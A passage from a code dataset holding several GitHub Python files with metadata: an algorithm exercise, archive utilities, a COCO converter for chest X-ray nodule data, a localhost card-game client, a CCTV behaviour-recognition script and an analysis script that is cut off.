next_positive_in_result(result, 0)\n while now != -1:\n nextPositiveIdx = next_positive_in_result(result, now)\n if nextPositiveIdx == -1:\n break\n merge = reduce(lambda a, b: a + sum(b), result[now:nextPositiveIdx+1], 0)\n if sum(result[now]) < merge and sum(result[nextPositiveIdx]) <= merge: # 保证i最小\n result.insert(now, reduce(lambda a, b: a + b, result[now:nextPositiveIdx+1], []))\n del result[now+1:nextPositiveIdx+2]\n isChange = True\n else:\n isChange = False\n now = nextPositiveIdx\n nextPositiveIdx = next_positive_in_result(result, now)\n if isChange:\n now = nextPositiveIdx\n nextPositiveIdx = next_positive_in_result(result, now)\n\n\ndef find_max_sequence(result: List[List[int]]) -> int:\n maxIdx = 0\n for i in range(len(result)):\n if sum(result[i]) > sum(result[maxIdx]):\n maxIdx = i\n return maxIdx\n\n\ndef solution(nums: List[int]) -> str:\n \"\"\"\n :param nums:\n :return: \"maxSum maxSequenceFirstItem maxSequenceLastItem\"\n \"\"\"\n result = split_positive_negative(nums)\n if len(result) == 1 and sum(result[0]) <= 0: # 全是负数\n return f\"0 {result[0][0]} {result[0][-1]}\"\n merge_positive(result)\n idx = find_max_sequence(result)\n # fix: id=\"24-2\"\n delete_zero_at_last(result[idx])\n return f\"{sum(result[idx])} {result[idx][0]} {result[idx][-1]}\"\n\n\ndef summit():\n input()\n print(solution(list(map(int, input().split()))))\n\n\nif __name__ == '__main__':\n summit()\n", "repo_name": "ednow/algorithms", "sub_path": "PTA/PTA1007/MaximumSubsequenceSum.py", "file_name": "MaximumSubsequenceSum.py", "file_ext": "py", "file_size_in_byte": 2920, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 17, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 47, "usage_type": "name"}, {"api_name": "functools.reduce", "line_number": 55, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 57, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 77, "usage_type": "name"}]} +{"seq_id": "72862370845", "text": "import patoolib\nimport sys\nfrom io import StringIO\nimport os\nfrom pathlib import Path\nimport string\nimport random\n\ndef id_generator(size=6, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\ndef return_name_list(zip_file_path:str):\n tag_list = []\n save_stdout = sys.stdout\n result = StringIO()\n sys.stdout = result\n patoolib.list_archive(zip_file_path)\n sys.stdout = save_stdout\n tag_list.append(result.getvalue())\n file_list = tag_list[0].split('\\n')\n file_list = list(filter(None, file_list))\n return file_list\n\ndef repack_to_zip(zip_file_path:str):\n parent_path = os.path.dirname(zip_file_path)\n path_without_extention = os.path.splitext(zip_file_path)[0]\n file_name = os.path.basename(path_without_extention)\n unzip_file_name = f\"{parent_path}/{file_name}.zip\"\n try:\n patoolib.repack_archive(zip_file_path, unzip_file_name)\n except:\n random_name = id_generator()\n unzip_file_name = f\"{parent_path}/{file_name}-{random_name}.zip\"\n patoolib.repack_archive(zip_file_path, unzip_file_name)\n \n return unzip_file_name\n\ndef is_zip(zip_file_path:str):\n return Path(zip_file_path).suffix.lower() == \".zip\"\n\ndef is_compressed_but_not_zip(zip_file_path:str, compression_extensions: list):\n file_extension = Path(zip_file_path).suffix.lower()\n for extension in compression_extensions:\n if file_extension == extension:\n if file_extension != \".zip\":\n print(f\"file extension match as {file_extension}\")\n return True\n return False\n \nif __name__ == \"__main__\":\n # res = repack_to_zip(sys.argv[1])\n # file_list = return_name_list(sys.argv[1])\n pass\n", "repo_name": "liningtonlab/apvalidation", "sub_path": "apvalidation/patoolutil.py", "file_name": "patoolutil.py", "file_ext": "py", "file_size_in_byte": 1752, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "string.ascii_uppercase", "line_number": 9, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 9, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 14, "usage_type": "attribute"}, {"api_name": "io.StringIO", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 16, "usage_type": "attribute"}, {"api_name": "patoolib.list_archive", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "patoolib.repack_archive", "line_number": 30, "usage_type": "call"}, {"api_name": "patoolib.repack_archive", "line_number": 34, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 39, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "26213339388", "text": "import os\nimport SimpleITK as sitk\nimport logging\nimport shutil\nimport json\nimport png\nimport numpy as np\nfrom PIL import Image\nfrom scipy import ndimage\nfrom tqdm import tqdm\nfrom shutil import copyfile\nimport glob\nimport pandas as pd\n\ndef clean_path(filepath):\n if not os.path.exists(filepath):\n os.makedirs(filepath)\n else:\n shutil.rmtree(filepath)\n os.makedirs(filepath)\n\n\nclass NODE_2021():\n \"\"\"X-RAY Pulmonary nodules processed to COCO Json format\"\"\"\n\n def __init__(self, input_path, output_path, dataset_name=\"node2021\"):\n self.info = {\"year\": \"2021\",\n \"version\": \"1.0\",\n \"description\": \"A Dataset pulmonary nodules' detection on x-ray imaging\",\n \"contributor\": \"Flute XU\",\n \"url\": \"https://node21.grand-challenge.org/Home/\",\n \"date_creatd\": \"2021/11/29\"}\n self.licenses = [{\"id\": 1,\n \"name\": \"Attribution-4.0-International\",\n \"url\": \"https://creativecommons.org/licenses/by/4.0/\"\n }]\n self.type = \"instances\"\n self.input_path = os.path.join(input_path, 'Images')\n self.output_path = os.path.join(output_path, dataset_name)\n clean_path(self.output_path)\n self.general_meta = pd.read_csv(os.path.join(input_path, 'metadata.csv'),\n index_col=0) # general annotation records\n self.imId = 0\n self.annId = 0\n self.categories = [{\"id\": 1, \"name\": \"node\", \"supercategory\": 'Pulmonary_Nodules'}, ]\n\n imlist = sorted(glob.glob(os.path.join(self.input_path, \"*.mha\")))\n images, annotations = self.get_image_annotation_set(imlist)\n json_data = {\"info\": self.info,\n \"images\": images,\n \"licenses\": self.licenses,\n \"type\": self.type,\n \"annotations\": annotations,\n \"categories\": self.categories}\n\n ann_out_dir = os.path.join(self.output_path, \"annotations\")\n if not os.path.exists(ann_out_dir): os.makedirs(ann_out_dir)\n\n with open(os.path.join(ann_out_dir, 'annotations.json'), \"w\") as jsonfile:\n json.dump(json_data, jsonfile, sort_keys=True, indent=4)\n\n def get_image_annotation_set(self, image_set):\n images = []\n annotations = []\n # clean_path(os.path.join(self.output_path, split))\n for patient in tqdm(image_set):\n image_data = sitk.GetArrayFromImage(sitk.ReadImage(patient))\n pixel_spacing = header.get_pixel_spacing(header_meta)\n meta_anns = self.general_meta[self.general_meta.img_name == patient.split('/')[-1]].copy()\n images, annotations = self.get_image_annotation_pairs(image_data, pixel_spacing, meta_anns, annotations, images,\n patient)\n return images, annotations\n\n def get_image_annotation_pairs(self, image_data, pixel_spacing, meta_anns, annotations, images, patient):\n ### coco json annotation generation block\n img_output_path = os.path.join(self.output_path, patient)\n\n # write out imgs\n # output_path = os.path.join(img_output_dir, patient.replace('mha', 'png'))\n # with open(output_path, 'wb') as f:\n # writer = png.Writer(width=image_data.shape[1], height=image_data.shape[0], bitdepth=16, greyscale=True)\n # zgray2list = image_data.tolist()\n # writer.write(f, zgray2list)\n img_output_path = os.path.join(self.output_path, \"images\")\n if not os.path.exists(img_output_path): os.makedirs(img_output_path)\n copyfile(patient, os.path.join(img_output_path, patient.split('/')[-1]))\n # img annotation\n self.imId += 1\n images.append({\"date_captured\": \"2021\",\n \"file_name\": patient.split('/')[-1],\n \"id\": self.imId,\n \"license\": 1,\n \"url\": \"\",\n \"height\": int(image_data.shape[0]),\n \"width\": int(image_data.shape[1]),\n \"spacing\": list(pixel_spacing)\n })\n\n num_ann = meta_anns.shape[0]\n for i in np.arange(num_ann):\n ann = meta_anns.iloc[i, :]\n if ann.label != 0:\n bbox = float(ann.x), float(ann.y), float(ann.width), float(ann.height)\n area = bbox[-2] * bbox[-1]\n catId = 1\n self.annId += 1\n annotations.append({\"area\": float(area),\n \"iscrowd\": 0,\n \"image_id\": self.imId,\n \"bbox\": bbox,\n \"category_id\": catId,\n \"id\": self.annId})\n return images, annotations", "repo_name": "FluteXu/Node21-Detection-3subs", "sub_path": "coco_json.py", "file_name": "coco_json.py", "file_ext": "py", "file_size_in_byte": 5014, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.exists", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 17, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 19, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 60, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 66, "usage_type": "call"}, {"api_name": "SimpleITK.GetArrayFromImage", "line_number": 67, "usage_type": "call"}, {"api_name": "SimpleITK.ReadImage", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 85, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 100, "usage_type": "call"}]} +{"seq_id": "329747819", "text": "import socket, json\r\nfrom card_logic_classes import *\r\n\r\nconnected = False\r\n\r\n#connect to server\r\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nserver_socket.connect((\"127.0.0.1\",64433))\r\nconnected = True\r\n\r\n#get name request\r\nreceived = server_socket.recv(1024)\r\nreceived = json.loads(received)\r\n\r\nprint(received['data'])\r\n\r\n#send name and register player to server\r\nto_send = received\r\nto_send['data']=str(input(\"Input your name: \"))\r\nto_send = json.dumps(to_send).encode()\r\nserver_socket.send(to_send)\r\n\r\n#initialise empty deck in hand\r\nhand=Deck(True)\r\n\r\n# get cards\r\nreceived = server_socket.recv(1024)\r\nreceived = json.loads(received)\r\n\r\nfor card in received['data']:\r\n hand.add_card(card)\r\n\r\nwhile connected:\r\n\r\n # if game didn't end yet (cards still in hand)\r\n if hand.cards:\r\n\r\n to_send={'action':'default','data':''}\r\n print(\"-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-\")\r\n print(\"Current hand: \", hand.cards)\r\n print(\"0. Quit\")\r\n print(\"1. See trick status\")\r\n print(\"2. See point status\")\r\n print(\"3. Take current trick\")\r\n print(\"4. Place card on trick\")\r\n print(\"5. Check who is leading\")\r\n print(\"-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-=x=-\")\r\n\r\n option=int(input())\r\n\r\n if option==0:\r\n to_send['action']='quit'\r\n to_send['data']=hand.cards\r\n connected=False\r\n elif option==1: to_send['action']='trick_status'\r\n elif option==2: to_send['action']='point_status'\r\n elif option==5: to_send['action']='lead'\r\n elif option==3: to_send['action']='take_trick'\r\n\r\n \r\n elif option==4:\r\n to_send['action']='place_on_trick'\r\n picked_position=int(input(\"Enter card position:\"))\r\n card_to_place=hand.extract_card(picked_position)\r\n while not card_to_place:\r\n picked_position=int(input(\"Enter card position:\"))\r\n card_to_place=hand.extract_card(picked_position)\r\n to_send['data']=card_to_place\r\n \r\n\r\n # sending\r\n to_send = json.dumps(to_send).encode()\r\n server_socket.send(to_send)\r\n\r\n # getting answer + printing in a pretty way\r\n received = server_socket.recv(1024) \r\n received = json.loads(received)\r\n\r\n # EXCEPTIONS\r\n if received['action']=='wrong_trick_place':\r\n #get card back in player hand\r\n hand.add_card(card_to_place)\r\n #print warning\r\n print(received['data'])\r\n elif received['action']=='wrong_take_trick':\r\n print(received['data'])\r\n \r\n # SUCCESSFUL REPLIES\r\n elif received['action']=='trick_status':\r\n print(\"Current trick is: \", received['data'])\r\n elif received['action']=='point_status':\r\n print(\"Your current points are: \", received['data'])\r\n elif received['action']=='place_on_trick':\r\n print(\"You placed \",card_to_place)\r\n print(\"Current trick is now: \",received['data'])\r\n elif received['action']=='lead':\r\n print(f\"{received['data'][1]} leading with {received['data'][0]} points.\")\r\n else: # for take_trick, disconnected + unknown messages\r\n print(received['data'])\r\n\r\n else:\r\n print(\"Waiting for other players to finish...\")\r\n #wait for last message to see who won\r\n received = server_socket.recv(1024) \r\n received = json.loads(received)\r\n print(\"GAME OVER\\nThe winner is: \",received['data'])\r\n connected=False\r\n\r\n#disconnecting\r\nserver_socket.close()", "repo_name": "FabianGalis/cruce-simulator", "sub_path": "backend/cruce_client.py", "file_name": "cruce_client.py", "file_ext": "py", "file_size_in_byte": 3793, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "socket.socket", "line_number": 7, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 7, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 7, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 13, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 20, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 28, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 72, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 77, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 105, "usage_type": "call"}]} +{"seq_id": "28520105911", "text": "from day_13.part1 import get_input\nfrom utils import run\n\n\ndef extended_euclidean(a, b):\n if a == 0:\n return b, 0, 1\n else:\n g, y, x = extended_euclidean(b % a, a)\n return g, x - (b // a) * y, y\n\n\ndef inverse_mod(a, m):\n g, x, y = extended_euclidean(a, m)\n return x % m\n\n\n# The chinese remainder theorem\ndef chi_rem_thm(m, x):\n while True:\n temp1 = inverse_mod(m[1], m[0]) * x[0] * m[1] + inverse_mod(m[0], m[1]) * x[1] * m[0]\n temp2 = m[0] * m[1]\n\n x.remove(x[0])\n x.remove(x[0])\n x = [temp1 % temp2] + x\n\n m.remove(m[0])\n m.remove(m[0])\n m = [temp2] + m\n\n if len(x) == 1:\n return x[0]\n\n\ndef get_answer(input):\n values = []\n remainders = []\n\n for i, value in enumerate(input[1]):\n if value == 'x':\n continue\n\n values.append(int(value))\n if i == 0:\n remainders.append(0)\n else:\n remainders.append(int(value) - i)\n\n return chi_rem_thm(values, remainders)\n\n\nif __name__ == '__main__':\n run(__file__, get_input, get_answer)\n", "repo_name": "c-goldschmidt/AoC_2020", "sub_path": "day_13/part2.py", "file_name": "part2.py", "file_ext": "py", "file_size_in_byte": 1107, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "utils.run", "line_number": 54, "usage_type": "call"}, {"api_name": "day_13.part1.get_input", "line_number": 54, "usage_type": "argument"}]} +{"seq_id": "5886416258", "text": "from __future__ import division\nimport cv2\nimport time\nimport datetime\nfrom torch.autograd import Variable\n########################################################################################################################\nfrom BehaviorExtraction.yolo.models import *\nfrom BehaviorExtraction.yolo.utils import *\nfrom BehaviorExtraction.yolo.datasets import *\n\nYOLO_MODEL_CFG = \"ModelFiles/yolo/yolov3.cfg\"\nYOLO_MODEL_PATH = \"ModelFiles/yolo/yolov3.weights\"\n\nconf_thres = 0.8\nnms_thres = 0.4\nimage_size = 416\nborder = 20\n########################################################################################################################\nfrom BehaviorExtraction.reid.extractor import HumanReIdentifier\n\nREID_MODEL_PATH = 'ModelFiles/reid/reid_model.pth'\nREID_FEAT_MAT = f'ImageDatabase/Human/{datetime.date.today()}/today.mat'\n\n########################################################################################################################\nfrom BehaviorExtraction.openpose import util\nfrom BehaviorExtraction.openpose.body import Body\nfrom BehaviorExtraction.action.multi_classifier import MultiPersonClassifier\n\nOPENPOSE_MODEL_PATH = 'ModelFiles/openpose/openpose_model.pth'\nACTION_MODEL_PATH = 'ModelFiles/action/model.pickle'\nACTION_CLASSES = np.array(['stand', 'walk', 'walk', 'stand', 'sit', 'walk', 'stand', 'stand', 'stand'])\nACTION_BUFFER_SIZE = 5 # Action recognition: number of frames used to extract features.\n\n########################################################################################################################\n\ndef draw_temp_boxes(image, tracked_bboxes, tags, id2action):\n for box, tag in zip(tracked_bboxes, tags):\n if tag == -1:\n text = '******'\n elif tag not in id2action or id2action[tag] == '':\n text = f'Tag{tag} :***'\n else:\n text = f'Tag{tag} :{id2action[tag]}'\n\n x1, y1, x2, y2 = box\n #cv2.rectangle(currFrame, (x1, y1), (x2, y2), [0, 0, 255], 2)\n cv2.rectangle(image, (x1, y1), (x2, y2), [255, 0, 0], 2)\n (text_width, text_height), baseline = cv2.getTextSize(text, cv2.FONT_HERSHEY_COMPLEX_SMALL, 0.8, 1)\n cv2.rectangle(image, (x1, y1), (x1 + text_width, y1 - text_height - baseline), [0, 0, 255], thickness=cv2.FILLED)\n cv2.putText(image, text, (x1, y1 - 4), cv2.FONT_HERSHEY_COMPLEX_SMALL, 0.8, [255, 255, 255], 1,lineType=cv2.LINE_AA)\n\ndef convertSkeleton(candidate, subset):\n subset = subset.astype(int).tolist()\n flatSkeleton = [0] * 36\n\n for subpoint in subset:\n subpoint = [num for num in subpoint[0:18] if num is not -1]\n skeleton = {}\n for point in subpoint:\n skeleton[point] = candidate[point][0:2].tolist()\n\n for i in range(18):\n if i in skeleton.keys():\n flatSkeleton[2 * i] = skeleton[i][0]\n flatSkeleton[2 * i + 1] = skeleton[i][1]\n\n return flatSkeleton\n\nif __name__ == \"__main__\":\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n print(f'Running on device: {device}')\n torch.backends.cudnn.benchmark = True\n\n ###################################################### YOLO ########################################################\n yolo = Darknet(YOLO_MODEL_CFG, img_size=image_size).to(device)\n yolo.load_darknet_weights(YOLO_MODEL_PATH)\n\n yolo.cuda()\n yolo.eval() # Set in evaluation mode\n Tensor = torch.cuda.FloatTensor if torch.cuda.is_available() else torch.FloatTensor\n\n ###################################################### ReID ########################################################\n REID_FEAT_MAT = f'ImageDatabase/Human/2021-04-15/today.mat'\n reIdentifier = HumanReIdentifier(REID_MODEL_PATH, REID_FEAT_MAT)\n\n data_transform = transforms.Compose([\n transforms.ToPILImage(),\n transforms.Resize((256, 128), interpolation=3),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n\n ############################################### ACTION RECOGNITION #################################################\n body_estimator = Body(OPENPOSE_MODEL_PATH, device)\n action_classifier = MultiPersonClassifier(ACTION_MODEL_PATH, ACTION_CLASSES, ACTION_BUFFER_SIZE)\n\n video = cv2.VideoCapture('Demo/CCTV_1.mp4')\n if video.isOpened():\n check, currFrame = video.read()\n orig_h, orig_w = currFrame.shape[:2]\n\n # orig_w = int(orig_w * 0.5)\n # orig_h = int(orig_h * 0.5)\n\n # The amount of padding that was added\n pad_x = max(orig_h - orig_w, 0) * (image_size / max(orig_h, orig_w))\n pad_y = max(orig_w - orig_h, 0) * (image_size / max(orig_h, orig_w))\n\n # Image height and width after padding is removed\n unpad_h = image_size - pad_y\n unpad_w = image_size - pad_x\n\n while video.isOpened():\n check, currFrame = video.read()\n tic = time.time()\n # currFrame = cv2.resize(currFrame, (orig_w, orig_h), interpolation=cv2.INTER_AREA)\n currFrame = cv2.cvtColor(currFrame, cv2.COLOR_BGR2RGB)\n imgTensor = transforms.ToTensor()(currFrame)\n imgTensor, _ = pad_to_square(imgTensor, 0)\n imgTensor = resize(imgTensor, 416).unsqueeze(0)\n imgTensor = Variable(imgTensor.type(Tensor))\n\n with torch.no_grad():\n detections = yolo(imgTensor)\n detections = non_max_suppression(detections, conf_thres, nms_thres)\n\n human_crops = []\n human_reids = []\n human_boxes = []\n for x1, y1, x2, y2, conf, cls_conf, cls_pred in detections:\n if int(cls_pred) == 0: # Only Detect Humans\n # Rescale bounding boxes to dimension of original image\n x1 = int(abs(((x1 - pad_x // 2) / unpad_w) * orig_w))\n y1 = int(abs(((y1 - pad_y // 2) / unpad_h) * orig_h))\n x2 = int(abs(((x2 - pad_x // 2) / unpad_w) * orig_w))\n y2 = int(abs(((y2 - pad_y // 2) / unpad_h) * orig_h))\n\n x1 = x1 - border if x1 - border > 0 else x1\n y1 = y1 - border if y1 - border > 0 else y1\n x2 = x2 + border if x2 + border < orig_w else x2\n y2 = y2 + border if y2 + border < orig_h else y2\n\n human = currFrame[y1:y2, x1:x2]\n human_reids.append(data_transform(human))\n human_crops.append(human)\n human_boxes.append([x1, y1, x2, y2])\n\n if human_crops:\n tags = reIdentifier.getHumanTags(human_reids)\n dict_tag2skeleton = {}\n for tag, human_crop, human_box in zip(tags, human_crops, human_boxes):\n if tag > -1:\n x1, y1, x2, y2 = human_box\n frameSmall = cv2.resize(human_crop, (int(0.5 * (x2-x1)), int(0.5 * (y2-y1))), interpolation=cv2.INTER_AREA)\n torch.cuda.empty_cache()\n\n candidate, subset = body_estimator(frameSmall)\n util.draw_bodypose(currFrame, candidate, subset, x1, y1)\n dict_tag2skeleton[tag] = convertSkeleton(candidate, subset)\n\n id2action = action_classifier.classify(dict_tag2skeleton)\n draw_temp_boxes(currFrame, human_boxes, tags, id2action)\n\n currFrame = cv2.cvtColor(currFrame, cv2.COLOR_RGB2BGR)\n toc = time.time()\n print(f'FPS:{round(1 / (toc - tic), 2)}')\n cv2.imshow('Camera', currFrame)\n torch.cuda.empty_cache()\n key = cv2.waitKey(1)\n if key == 'q':\n break\n\n cv2.destroyAllWindows()", "repo_name": "RisithPerera/e15-4yp-human-behavior-prediction-using-cctv", "sub_path": "code/BehaviorExtraction/BehaviorExtractorNoGUI.py", "file_name": "BehaviorExtractorNoGUI.py", "file_ext": "py", "file_size_in_byte": 7589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "datetime.date.today", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.getTextSize", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX_SMALL", "line_number": 48, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 49, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX_SMALL", "line_number": 50, "usage_type": "attribute"}, {"api_name": "cv2.LINE_AA", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.autograd.device", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.autograd.cuda.is_available", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.autograd.cuda", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.autograd.backends", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torch.autograd", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.autograd.cuda.is_available", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.autograd.cuda", "line_number": 80, "usage_type": "attribute"}, {"api_name": "torch.autograd", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.autograd.FloatTensor", "line_number": 80, "usage_type": "attribute"}, {"api_name": "BehaviorExtraction.reid.extractor.HumanReIdentifier", "line_number": 84, "usage_type": "call"}, {"api_name": "BehaviorExtraction.openpose.body.Body", "line_number": 94, "usage_type": "call"}, {"api_name": "BehaviorExtraction.action.multi_classifier.MultiPersonClassifier", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 97, "usage_type": "call"}, {"api_name": "time.time", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 117, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 117, "usage_type": "attribute"}, {"api_name": "torch.autograd.Variable", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.autograd.no_grad", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 123, "usage_type": "name"}, {"api_name": "cv2.resize", "line_number": 154, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 154, "usage_type": "attribute"}, {"api_name": "torch.autograd.cuda.empty_cache", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.autograd.cuda", "line_number": 155, "usage_type": "attribute"}, {"api_name": "torch.autograd", "line_number": 155, "usage_type": "name"}, {"api_name": "BehaviorExtraction.openpose.util.draw_bodypose", "line_number": 158, "usage_type": "call"}, {"api_name": "BehaviorExtraction.openpose.util", "line_number": 158, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 164, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 165, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 167, "usage_type": "call"}, {"api_name": "torch.autograd.cuda.empty_cache", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.autograd.cuda", "line_number": 168, "usage_type": "attribute"}, {"api_name": "torch.autograd", "line_number": 168, "usage_type": "name"}, {"api_name": "cv2.waitKey", "line_number": 169, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 173, "usage_type": "call"}]} +{"seq_id": "18519681267", "text": "import gzip\nimport json\n\nfrom error_analysis import error_analysis\n\n\ndef attribute_analysis(paths_to_task_dicts):\n # Compare the results of multiple runs of the same task.\n results_per_attribute = {}\n\n for path_task_dict in paths_to_task_dicts:\n with gzip.open(path_task_dict, 'r') as f:\n task_dict = json.load(f)\n print(path_task_dict)\n for attribute in task_dict['results']:\n if attribute not in results_per_attribute:\n results_per_attribute[attribute] = []\n results_per_attribute[attribute].append(task_dict['results'][attribute])\n\n #for attribute in results_per_attribute:\n # print(attribute)\n # print(results_per_attribute[attribute])\n # print('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%')\n\n #Run Error analysis for attribute Specialty_Coffee\n for path_task_dict in paths_to_task_dicts:\n error_analysis(path_task_dict, 'Specialty_Coffee')\n print('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%')\n\nif \"__main__\" == __name__:\n paths_to_task_dicts = [ \"prompts/runs/attribute_analysis/task_run_chatmultiple_attribute_values-great_ae-110k_gpt-3.5-turbo-0613_2023-08-26_14-20-18.gz\",\n \"prompts/runs/attribute_analysis/task_run_chatchatgpt_description_with_all_example_values_10_examples_delimiter_ae-110k_gpt-3.5-turbo-0613_2023-09-11_14-55-30.gz\",\n \"prompts/runs/attribute_analysis/task_run_chatchatgpt_description_with_example_values_in_context_learning_ae_110k_gpt_3_5_turbo_0613_3_SemanticSimilarityDifferentAttributeValues_0_2_ae-110k_gpt-3.5-turbo-0613_2023-09-13_14-54-34.gz\"]\n attribute_analysis(paths_to_task_dicts)", "repo_name": "wbsg-uni-mannheim/ExtractGPT", "sub_path": "analysis/attribute_analysis.py", "file_name": "attribute_analysis.py", "file_ext": "py", "file_size_in_byte": 1693, "program_lang": "python", "lang": "en", "doc_type": 